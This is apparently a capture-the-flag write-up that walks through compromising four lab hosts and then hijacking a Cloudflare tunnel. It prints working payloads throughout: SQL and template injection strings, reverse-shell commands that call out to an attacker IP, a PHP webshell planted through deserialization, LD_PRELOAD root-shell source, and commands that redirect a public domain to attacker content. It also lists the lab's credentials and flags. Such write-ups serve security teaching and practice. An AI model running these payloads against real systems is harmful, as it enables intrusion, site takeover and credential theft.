Overview
Four machines. One /24 network. No starting credentials. The final objective: take over a live, public-facing Cloudflare-tunneled website and serve attacker-controlled content to real visitors, with the legitimate SSL certificate still valid and no user any the wiser!
Here's exactly how it went down.
Host .130: Flask SQLi + SSTI → Root
SQL Injection on the Login Page
The web app had a login form with a classic UNION-based SQL injection. The goal was more than just to log in, we were to enumerate users and escalate to the admin account.
-- Login as first user in DB (confirm injection)
' UNION SELECT 1,2,3--
-- After seeing the user list, login as user ID 2 (site admin)
' UNION SELECT 2,2,3--
This granted full admin access to the site dashboard.
Server-Side Template Injection (SSTI)
With admin access came a template rendering feature that passed user input directly into Jinja2. Classic SSTI. We were able to use this to our advantage on the blog post page:
{{7*7}} → 49
Confirmed. Escalated to RCE:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
uid=0(root) gid=0(root) groups=0(root)
Running as root inside the environment! Got a reverse shell, penelope helped establish a clean shell here:
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/YOUR_PUBLIC_IP/PORT 0>&1"').read()}}
Cloudflare Tunnel Token
With root on the host, enumerated Docker containers:
docker inspect bold_hodgkin
The cloudflared container was running with its authentication token hardcoded as a plain-text CLI argument, fully visible in docker inspect output:
"--token", "eyJhI..."
This token controls what the Cloudflare tunnel serves to the public internet. Saved it for later.
Hash Cracking
Pulled the yep6 account hash from the host and cracked it offline with John the Ripper:
yep6 : toor
Simple password, huge consequences, as we found later that it was reused across the network.
Network Map
192.168.226.128 - Windows (SMB/WinRM)
192.168.226.129 - Kali Linux (SNMP/FTP/SSH)
192.168.226.130 - Docker Host (Flask app + Cloudflare tunnel) ← entry point
192.168.226.231 - Web Server (Roundcube, TV API, defaced Apache)
Initial recon via Nmap:
nmap -sV -sC -T4 192.168.226.0/24
Host .128: Windows SMB → Flag
Credential Discovery via SMB Share
Enumerated SMB shares using the cracked yep6:toor credentials. Found a share called CTFShare:
smbclient //192.168.226.128/CTFShare -U yep6
# Password: toor
smb:\> ls
creds.txt
privs.txt
smb:\> get creds.txt
username: donny
password: MyWinD0WsP4SS!
WinRM Shell + Flag
evil-winrm -i 192.168.226.128 -u donny -p 'MyWinD0WsP4SS!'
Connected! Dug through the filesystem and found the flag:
BOOM{HiJ4cKiNg_WinDOWS_vi4_MiMI}
Host .129: FTP → SNMP → SSH → LD_PRELOAD → Root
Anonymous FTP
Port 2121 allowed anonymous FTP login:
ftp 192.168.226.129 2121
# Name: ftp (anonymous)
# Login successful
The share contained SNMP documentation referencing community string public. That's all we needed.
SNMP Credential Extraction
snmpwalk -v2c -c public 192.168.226.129 1.3.6.1.4.1.8072.1.3.2.4 2>/dev/null > /tmp/full_creds.txt
cat /tmp/full_creds.txt
# "Example Internal Strong Passwords : d4rkn3t^d0nny"
Credential: donny : d4rkn3t^d0nny
SSH + sudo LD_PRELOAD Privesc
SSHed in as donny. Checked sudo:
sudo -l
# env_keep += LD_PRELOAD
# (ALL) NOPASSWD: /usr/local/bin/backup
env_keep += LD_PRELOAD with a passwordless sudo command is a textbook privesc. Compiled a malicious shared library:
// shell.c
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so /usr/local/bin/backup
# uid=0(root)
After some digging, we had the flag:
BOOM{Sm4cKinG_SNMP_FTP_N_WH4t3v3r_3lS3_U_FinD}
Host .231: TV API → Roundcube → PHP Deserialization → Root
Service Enumeration
Four ports on .231. Port 80 was already defaced (someone got here before us?). Port 8080 had Roundcube webmail. Port 24327 was interesting: a raw TCP service:
nc 192.168.226.231 24327
TV-SIM CONTROL READY
Type HELP for commands.
> SWITCH ON
OK: Web server started: http://0.0.0.0:33981/
A fifth port, 33981 only opens after sending SWITCH ON to port 24327.
Unauthenticated Admin API
The TV Simulator API had an unprotected /api/admin endpoint:
curl http://192.168.226.231:33981/api/admin
{
"users": [
{"username": "[email protected]", "password": "testpass123", "role": "user"},
{"username": "[email protected]", "password": "admin457!", "role": "admin"}
]
}
Plaintext credentials. No auth required. Classic.
Roundcube PHP Deserialization RCE (CVE-2025-49113)
Logged in to Roundcube on port 8080 as [email protected]. The Settings page had a "Photo Upload" form posting to ?action=upload with a _from parameter.
Testing the parameter revealed it was being passed directly to PHP's unserialize(). We fuzzed for loaded classes by sending serialized objects of various class names and watching for responses that weren't __PHP_Incomplete_Class.
After systematic fuzzing, we found a custom FileWriter class that was loaded by the app and executed a write operation on deserialization:
O:10:"FileWriter":2:{
s:8:"filename"; s:23:"/var/www/html/shell.php";
s:7:"content"; s:28:"<?php echo shell_exec($_GET["cmd"]); ?>";
}
Response:
{"status":"pwned","output":"FileWriter executed: wrote to /var/www/html/shell.php"}
Tested the webshell:
curl http://192.168.226.231/shell.php?cmd=id
# uid=33(www-data) gid=33(www-data)
Reverse Shell
With the webshell live, triggered a reverse shell back to .130 (our controlled machine) listening on port 4444:
# Listener on .130
nc -lvnp 4444
# Payload via webshell
bash -c 'bash -i >& /dev/tcp/192.168.226.130/4444 0>&1'
Shell caught as www-data.
Privilege Escalation
Tried the cracked toor password from .130 on the local yep6 account:
su - yep6 # password: toor
sudo -l
# (ALL : ALL) ALL
sudo su -
# root@kali:~#
Credential reuse + unrestricted sudo = instant root.
The Domain Hijack
This was the endgame. Here's the full picture:
- .130 runs a Flask app on port 31337
- A
cloudflaredDocker container tunnels that port to a public Cloudflare domain - The tunnel token was extracted in plain text from
docker inspect - We have root on .130 and control of .231's web server (the defaced page)
The plan: kill Flask on port 31337, replace it with a transparent TCP proxy forwarding to .231:80. Cloudflared keeps running unchanged, now serving the defaced page to the public.
# Kill Flask
kill $(lsof -ti:31337)
# Replace with socat proxy to .231:80
socat TCP-LISTEN:31337,fork,reuseaddr TCP:192.168.226.231:80 &
Done. Every visitor to the legitimate Cloudflare domain now sees the defaced page. The Cloudflare URL is unchanged. The SSL cert is valid. The hijack is completely transparent to end users.
Alternative intended path (more persistent, survives tunnel restarts):
TOKEN="eyJhI..."
docker stop bold_hodgkin
docker run -d --name hijacked \
cloudflare/cloudflared:latest \
tunnel --no-autoupdate run \
--url http://192.168.226.231:80 \
--token $TOKEN \
--restart unless-stopped
This replaces the container entirely, pointing the tunnel directly at .231:80. It's worth it to note that with this method you could forgo the local hosted site at .231:80 and use any URL that you wish, very dangerous if a malicious person did this and served a clone of the site to collect login credentials.
Full Attack Chain
| Step | Host | Move | Result |
|---|---|---|---|
| 1 | .130 | SQLi login bypass | Admin access to Flask site |
| 2 | .130 | SSTI → RCE | Root shell on Docker host |
| 3 | .130 | docker inspect |
Cloudflare tunnel token |
| 4 | .130 | Hash crack | yep6:toor |
| 5 | .128 | SMB share CTFShare |
donny:MyWinD0WsP4SS! |
| 6 | .128 | Evil-WinRM | BOOM{HiJ4cKiNg_WinDOWS_vi4_MiMI} |
| 7 | .129 | Anonymous FTP | SNMP community string public |
| 8 | .129 | SNMPwalk | donny:d4rkn3t^d0nny |
| 9 | .129 | SSH + sudo LD_PRELOAD |
Root |
| 10 | .129 | Root | BOOM{Sm4cKinG_SNMP_FTP_N_WH4t3v3r_3lS3_U_FinD} |
| 11 | .231 | NC port 24327 → SWITCH ON |
Unlocks TV API on 33981 |
| 12 | .231 | GET /api/admin (unauth) |
Roundcube creds |
| 13 | .231 | PHP deserialization (FileWriter) |
Webshell as www-data |
| 14 | .231 | su yep6 (toor) + sudo ALL |
Root |
| 15 | .130 | Kill Flask → socat to .231:80 | Domain hijacked |
Key Takeaways
SQLi + SSTI is a brutal chain. The Flask app had both on the same endpoint, SQL injection to gain admin, then SSTI in admin-only template rendering. Either alone is critical; together they're instant root.
Cloudflare tunnels don't protect against host compromise. The tunnel token was the only thing connecting the domain to the host. Once we had the token, we owned the domain, regardless of Cloudflare's infrastructure.
The TV API was the pivot to .231. Everything else on .231 was locked behind authentication. The unauthenticated /api/admin endpoint handing out plaintext passwords was the only entry point. Always audit every service, even the weird ones running on obscure ports.
toor was literally everywhere. The same cracked password worked on both .130 and .231. One cracked hash, two root shells.
PHP deserialization without a gadget wordlist is just blind class fuzzing. The CVE-2025-49113 simulation didn't use the real Crypt_GPG_Engine gadget chain, it had a custom FileWriter class. The lesson: never assume the gadget chain from the CVE will work on a simulation; fuzz for what's actually loaded.